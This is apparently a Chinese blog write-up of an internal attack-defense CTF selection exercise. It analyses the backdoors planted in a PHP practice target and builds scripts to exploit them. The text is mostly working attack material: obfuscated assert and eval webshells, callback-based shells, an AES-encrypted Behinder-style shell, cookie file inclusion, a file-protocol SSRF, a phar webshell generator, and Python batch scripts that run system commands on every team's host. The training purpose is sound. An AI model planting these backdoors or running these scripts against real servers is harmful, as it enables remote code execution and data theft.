一次内部AWD记录


起因

        起因是因为马上有一个必须参加的awd攻防比赛,要队内凑够三个队,为了选拔一下人员就临时搭建了一个awd的平台,因为是临时搭建所以可能靶场的功能不太完善,都突出在脚本利用和日志采集上了

平台

平台用的是moxiaoxi师傅开源的awd平台,靶场是基于CISCN-Final总决赛第一天AWD的web4修改的

awd平台地址:

https://github.com/mo-xiaoxi/AWD_CTF_Platform

靶机

拿到题目后看一下大体架构

[root@Pdsdt web_example1]# tree

|-- html
|   |-- bak.zip
|   |-- blog
|   |   |-- ciscn_config.php
|   |   |-- ciscn_include.php
|   |   |-- ciscn_notes.php
|   |   |-- ciscn_url.php
|   |-- css
|   |   |-- bootstrap.min.css
|   |   |-- common.css
|   |   |-- style.css
|   |-- index.html
|   |--.config_common.php
|   |-- pdd.php
|   |-- robot.txt
|   |-- upload.php
|   |-- uploads
|       |-- 4eff2c041976ea22afb7092a53188c70.php
|       |-- check.png
|       |-- ec2.jpg

存在uploads目录和blog目录,看着目录是满满的shell,先用D盾扫一波

image.png-30.8kB

果真都是shell,如果是比赛期间的话,直接读取内容,利用shell拿flag就行了,因为这篇是分析文章,就慢慢的分析一下这几个文件,先看根目录下的文件

.config_common.php

<?php error_reporting(0);set_time_limit(0);$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");$a(@${"_P"."O"."S"."T"}[520]); ?>

D盾报是已知后门,这个是我在论坛里看一个老哥发的,突发奇想就加在靶场里了,原理也比较简单,稍微的格式化一下

<?php error_reporting(0);
set_time_limit(0);
$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");
$a(@${"_P"."O"."S"."T"}[520]); ?>

关键代码在最后两行,最后一行比较好理解,拼接$_POST[520],第三行的话主要在于,先去拼接一段加密的字符串,之后再进行base64的解密,取一下字符串

YXNzZXJ0 #base64
assert #base64解密后

简单来说就是通过拼接加密的方式实现

<?php assert($_POST[520]);?>

利用方式也很简单,直接POST传参执行代码即可

image.png-111.9kB

写个批量


def getshell(ip): shell={"520":"system(\"cat /flag\");"} shell_url='.config_common.php' re_shell=requests.get(url=ip+shell_url) if re_shell.status_code == 200: print ("[+]Web_Status_Succ:"+ip) #print re_shell.text flag=re_shell.text print(str(flag)) sss=submitflag(flag) else: #continue print ("[-]Web_Status_Wrong: "+ip) for i in range(1,20): port = "xx.xxx.xx.xx:880%s" % i if i == 10: #跳过自己的ip continue else: getshell(ip)

后面的其他文件的批量方式也是一样的就不一一再放出了,转手分析一波upload.php

<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");

class  hint{
    public function __destruct() {
        echo '<!-- hint:./blog/ciscn_notes.php -->';
    }
}


if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = "uploads/";
    $target_path .= basename( $_FILES[ 'upload_file' ][ 'name' ] );
    $uploaded_filename = $_FILES[ 'upload_file' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_filename, strrpos( $uploaded_filename, '.' ) + 1);
    $uploaded_file_size = $_FILES[ 'upload_file' ][ 'size' ];
    $uploaded_tmp_file  = $_FILES[ 'upload_file' ][ 'tmp_name' ];
    @extract($_POST);
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp_file ) ) {
        if(file_exists($target_path)) {
            echo "<pre>图片已经存在!<pre>";
        }
        else{
            if( !move_uploaded_file( $uploaded_tmp_file, $target_path ) ) {
                echo "<pre>无法保存图片!</pre>";
            }
            else {
                echo "<pre>图片上传成功!</pre>";
            }
        }
    }
    else {
        echo "<pre>只能上传格式为jpg,jpeg和png的图片.</pre>";
        }
}

?>

可以看到过滤的还是比较严格的,根据提示看一波blog目录下文件

/blog/ciscn_notes.php

<?php
error_reporting(0);
session_start();
include('ciscn_config.php');

if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);
    if(isset($_GET['topic'])){
        $topic = mysql_real_escape_string($_GET['topic']);
        $topic = sprintf("AND topic='%s'", $topic);
    }else{
        $topic = '';
    }
    $sql = sprintf("SELECT * FROM notes WHERE id='%s' $topic", $id);
    $result = mysql_query($sql,$con);
    $row = mysql_fetch_array($result);
    if(isset($row['topic'])&&isset($row['substance'])){
        echo "<h1>".$row['topic']."</h1><br>".$row['substance'];
        die();
    }else{
        die("You're wrong!");
    }
}


class ciscn_nt {
    var $a;
    var $b;
    function __construct($a,$b) {
        $this->a=$a;
        $this->b=$b;
    }
    function test() {
       array_map($this->a,$this->b);
    }
}
$p1=new ciscn_nt(assert,array($_POST['x']));
$p1->test();
?>




<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>myblog</title>
    <link href="../css/bootstrap.min.css" rel="stylesheet">
    <script src="js/jquery.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
    <div class="navbar-header">
        <a class="navbar-brand" href="#">Blog</a>
    </div>
    <div>
        <ul class="nav navbar-nav">
            <li class="active"><a href="#">笔记</a></li>
            <li><a href="#">关于</a></li>
        </ul>
    </div></nav>
<div class="panel panel-success">
    <div class="panel-heading">
        <h1 class="panel-title">php是世界上最好的语言</h1>
    </div>
    <div class="panel-body">
        <li><a href='ciscn_notes.php?id=1&topic=Welcome to PHP world'>Welcome to PHP world</a><br></li>
        <li><a href='ciscn_notes.php?id=2&topic=Do the best you can'>Do the best you can</a><br></li>
        <li><a href='ciscn_notes.php?id=3&topic=Attention, please.'>格式化,全都格式化。。。</a><br></li>
    </div>
</div>
</body>


<!--mysql_real_escape_string()-->
<!--$topic = sprintf("AND topic='%s'", $topic);-->
<!--$sql = sprintf("SELECT * FROM notes WHERE id='%s' $topic", $id)-->
</html>

功能的话大概就是取出数据库数据显示出来了,这里具体看一下ciscn_nt这个class

class ciscn_nt {
    var $a;
    var $b;
    function __construct($a,$b) {
        $this->a=$a;
        $this->b=$b;
    }
    function test() {
       array_map($this->a,$this->b);
    }
}
$p1=new ciscn_nt(assert,array($_POST['x']));
$p1->test();

用了array_map()这一个回调函数在\$p1处定义了\$a和\$b的值分别为assert和$_POST[‘x’]
最后再调用test()函数触发array_map(),从而达到执行我们POST传输的代码的目的,简单来说就是是实现:

<?php assert($_POST['x']);?>

利用:

image.png-84kB

批量化的话和上面的一样,修改一下利用的文件名称和POST的数据变量名即可

def getshell(ip):
    shell={"x":"system(\"cat /flag\");"}
    shell_url='/blog/ciscn_notes.php'

再看一下包含的config文件

/blog/ciscn_config.php

<?php
echo "Mysql链接配置";
error_reporting(0);
$con = mysql_connect ("127.0.0.1", "root", "c933ccc3b6b2fe8cb830a5e76f5f98a5");
if (!$con){
  print('Could not connect: ' . mysqli_error());
}
mysql_select_db("ciscn_web", $con);

forward_static_call_array(assert,array($_POST["x"]));
class c
{
        public $code = null;
        public $decode = null;
        function __construct()
        {       $this->code='ZXZhbCgkX1BPU1RbcGFzc10pOw==';
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

}
new c();

?>

这个功能也比较简单,主要是实现mysql的链接,看一下第十行以及之后的数据

forward_static_call_array(assert,array($_POST["x"]));

看一下这行代码,,forward_static_call_array,这是和call_user_func_array类似的函数,是一个不太常见的回调函数,使用assert来调用我们POST过去的数据达到getshell的目的,本地测试一下回调函数

php > forward_static_call_array(system,array("pwd"));
PHP Warning:  Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1
/var/www/html
php > forward_static_call_array(system,array("whoami"));
PHP Warning:  Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1
root

测试一下

image.png-89.2kB

利用成功

再看一手后面的代码

class c
{
        public $code = null;
        public $decode = null;
        function __construct()
        {       $this->code='ZXZhbCgkX1BPU1RbcGFzc10pOw==';
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }
}
new c();

也是比较简单的利用函数构造shell,在__construct定义好加密的字符串和base64_decode()函数,使用eval进行解密执行,获取一下明文

ZXZhbCgkX1BPU1RbcGFzc10pOw==
eval($_POST[pass]);

利用:

image.png-90.6kB

再看一手其他的文件

/blog/ciscn_include.php

<?php 
$cookie=$_COOKIE["cookie"];
@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    $key="e45e329feb5d925b"; 
    $_SESSION['k']=$key;
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
include($cookie);
?>

简单审一下代码,第一行和最后一行存在问题

$cookie=$_COOKIE["cookie"];
include($cookie);

思路很清晰,包含了cookie中的一个名为cookie的变量,可以直接去读文件

利用方式:

image.png-138.7kB

批量化一下:

def getshell(ip):
    headers = {
    "Cookie":"cookie=/etc/passwd"
    }
    url="/blog/ciscn_include.php"
    re_shell=requests.get(url=ip+url,headers=headers)

继续审代码

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    $key="e45e329feb5d925b"; 
    $_SESSION['k']=$key;
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}

有一说一,看着就像shell,是冰蝎3.0的加密shell,用冰蝎链接的话直接使用默认密码:rebeyond链接即可,\$key为密码md5加密后的前16位,修改密码的话直接修改$key的值为密码的前十六位即可,这里主要说一下不用工具链接的利用方式,毕竟是在awd比赛,我们更多需要的还是批量化和获取分数

分析一下代码,如果我们访问方式为POST时,post变量的值为我们的POST的数据,之后再次进行判断,如果存在openssl拓展组件,执行else之后的内容即

$post=openssl_decrypt($post, "AES128", $key);

这是属于一个解密的函数,我们可以使用代码中获取的key对我们的POST的变量进行加密,之后在传输到此处后进行解密,下一步看一下我们需要传输的数据,\$arr处利用“|”进行了数组拆分,并在之后利用call_user_function调用执行shell,所以我们需要传输的数据为,“|”+代码,构造一下

$post="|phpinfo();";
$key="e45e329feb5d925b";
$post=openssl_encrypt($post, "AES128", $key);
print_r($post);
//vACvqxX9t64+Nc3M2S4VuQ==

看一下效果

image.png-51.3kB

成功利用,批量也很简单,直接拿flag

先加密cat flag的字符,在进行传输拿flag即可

//system("cat /flag");
//jGOOCXJb2O34dmCMawHOxk6oYN2YhuVdlJn050821ok=

def getshell(ip):
    url="/blog/ciscn_include.php"
    data={"jGOOCXJb2O34dmCMawHOxk6oYN2YhuVdlJn050821ok":""}
    re_shell=requests.post(url=ip+url,data=data)

最后看一下ciscn_url.php

/blog/ciscn_url.php

<?php
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
    exit('error');
}
readfile($url);
?>

相较于其他几个文件,这个利用点就比较简单,是一个比较简单的SSRF,存在readfile函数,我们可以使用file协议读取flag

?url=file://localhost/flag

利用一下:

image.png-35.6kB

到此blog目录下的文件都分析完毕,看一下css目录下文件

/css/common.css

<?php
highlight_file("/flag");
?>

代码很直接,高亮显示根目录下的flag文件,不过不能直接利用,需要借助blog目录下的ciscn_include.php进行执行

image.png-81.6kB

成功执行

再看一手.111.php的文件

/uploads/.111.php

<?php
$pass=$_POST["password"];
if($pass == "4eff2c041976ea22afb7092a53188c70")
    {
        system($_GET["getshell"]);
                readfile("/flag");
    }
else
    {
        echo "be1c5ff7101b7791469b5df2315cf75a";
    }
?>

这个文件的思路也是比较简单的,有一个基础的if判断,如果我们POST过来的password与比较的字符串相等的话,将直接执行读取flag的操作同时可以利用GET传输的getshell变量执行系统命令

利用一下

image.png-47.3kB

uploads/4eff2c041976ea22afb7092a53188c70.php

最基础的一句话木马

<?php
eval($_POST["cmd"]);
?>

直接利用即可

image.png-53.6kB

最后看一下被D盾扫描出来的check.png,用十六进制查看器进行查看

uploads/check.png

image.png-29.3kB

比较典型的phar生成的图片,我们可以利用blog目录下的ciscn_url.php进行利用

image.png-52kB

使用phar协议进行包含

image.png-30kB

没有回显数据,读取代码发现内容为test,不过我们可以在本地自己生成一个带有webshell的phar包,并进行上传包含利用

执行下面代码,会在当前目录下生成一个名为phar.phar的文件,修改为图片马上传,使用phar协议包含,即可利用写入的webshell

<?php
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub;

//$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.php", "<?php eval(\$_POST[123]); ?>"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

在本地生成之前需要修改php.ini将phar.readonly参数改为Off

image.png-97.6kB

生成图片 phar.png

image.png-11.2kB

尝试文件包含

image.png-68.8kB

成功执行命令

整合一下批量的利用脚本,利用的时候直接调用函数即可

#encoding: utf-8

import requests

url="http://xxx.xx.xxx.xxx"


def getshell_config_common(ip):
    url="/.config_common.php"
    shell={"520":"system(\"cat /flag\");"}
    re_shell=requests.post(url=ip+url,data=shell)
    print(re_shell.text)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        #print re_shell.text
        flag=re_shell.text
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)


def getshell_ciscn_note_1(ip):
    shell={"x":"system(\"cat /flag\");"}
    url="/blog/ciscn_notes.php"
    re_shell=requests.post(url=ip+url,data=shell)
    #print(re_shell.text)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        flag=re_shell.text[36:68]
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)  

def getshell_ciscn_config_1(ip):
    shell={"x":"system(\"cat /flag\");"}
    url="/blog/ciscn_config.php"
    re_shell=requests.post(url=ip+url,data=shell)
    #print(re_shell.text)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        flag=re_shell.text[36:68]
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)  



def getshell_ciscn_config_2(ip):
    shell={"pass":"system(\"cat /flag\");"}
    url="/blog/ciscn_config.php"
    re_shell=requests.post(url=ip+url,data=shell)
    #print(re_shell.text)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        flag=re_shell.text[36:68]
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)  


def getshell_ciscn_include_1(ip):
    headers = {"Cookie":"cookie=/flag"}
    url="/blog/ciscn_include.php"
    re_shell=requests.post(url=ip+url,headers=headers)
    #print(re_shell.text)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        flag=re_shell.text
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)  

def getshell_ciscn_include_2(ip):
    data={"jGOOCXJb2O34dmCMawHOxk6oYN2YhuVdlJn050821ok":""}
    url="/blog/ciscn_include.php"
    re_shell=requests.post(url=ip+url,data=data)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        flag=re_shell.text
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)  


def getshell_ciscn_url_1(ip):
    shell={"url":"file://localhost/flag"}
    url="/blog/ciscn_url.php"
    re_shell=requests.get(url=ip+url,params=shell)
    #print(re_shell.text)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        flag=re_shell.text
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)  

def getshell_common_include_1(ip):
    headers = {"Cookie":"cookie=../css/common.css"}
    url="/blog/ciscn_include.php"
    re_shell=requests.get(url=ip+url,headers=headers)
    #print(re_shell.text)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        flag=re_shell.text[35:67]
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)  

def getshell_upload_111_1(ip):
    shell={"password":"4eff2c041976ea22afb7092a53188c70"}
    url="/uploads/.111.php"
    re_shell=requests.post(url=ip+url,data=shell)
    #print(re_shell.text)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        flag=re_shell.text
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)  



def getshell_upload_4eff2c041976ea22afb7092a53188c70_2(ip):
    shell={"cmd":"system(\"cat /flag\");"}
    url="/uploads/4eff2c041976ea22afb7092a53188c70.php"
    re_shell=requests.post(url=ip+url,data=shell)
    #print(re_shell.text)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        flag=re_shell.text
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)  


def getshell_notes_phar_3(ip):
    shell={"x":"include(\"phar://../uploads/phar.png/test.php\");","123":"system(\"cat /flag\");"}
    url="/blog/ciscn_notes.php"
    re_shell=requests.post(url=ip+url,data=shell)
    #print(re_shell.text)
    if re_shell.status_code == 200:
        print ("[+]Web_Status_Succ:"+ip)
        flag=re_shell.text[36:68]
        print(str(flag))
    else:
        #continue
        print ("[-]Web_Status_Wrong: "+ip)  


for i in range(1,9):
    ip= url+":880%s" % i
    if i == 4:
        continue
    else:
        #getshell_notes_phar_3(ip)
        #getshell_config_common(ip)
        #getshell_ciscn_note_1(ip)

之后

awd的话和实战内容还是比较大的,这个靶场,因为时间紧,就没在意太多功能上的实现,主要是把各种比赛中会出现的shell放了上去,主要是想测试一下选拔人员的利用方式和快速的编写脚本能力


发表评论

电子邮件地址不会被公开。 必填项已用*标注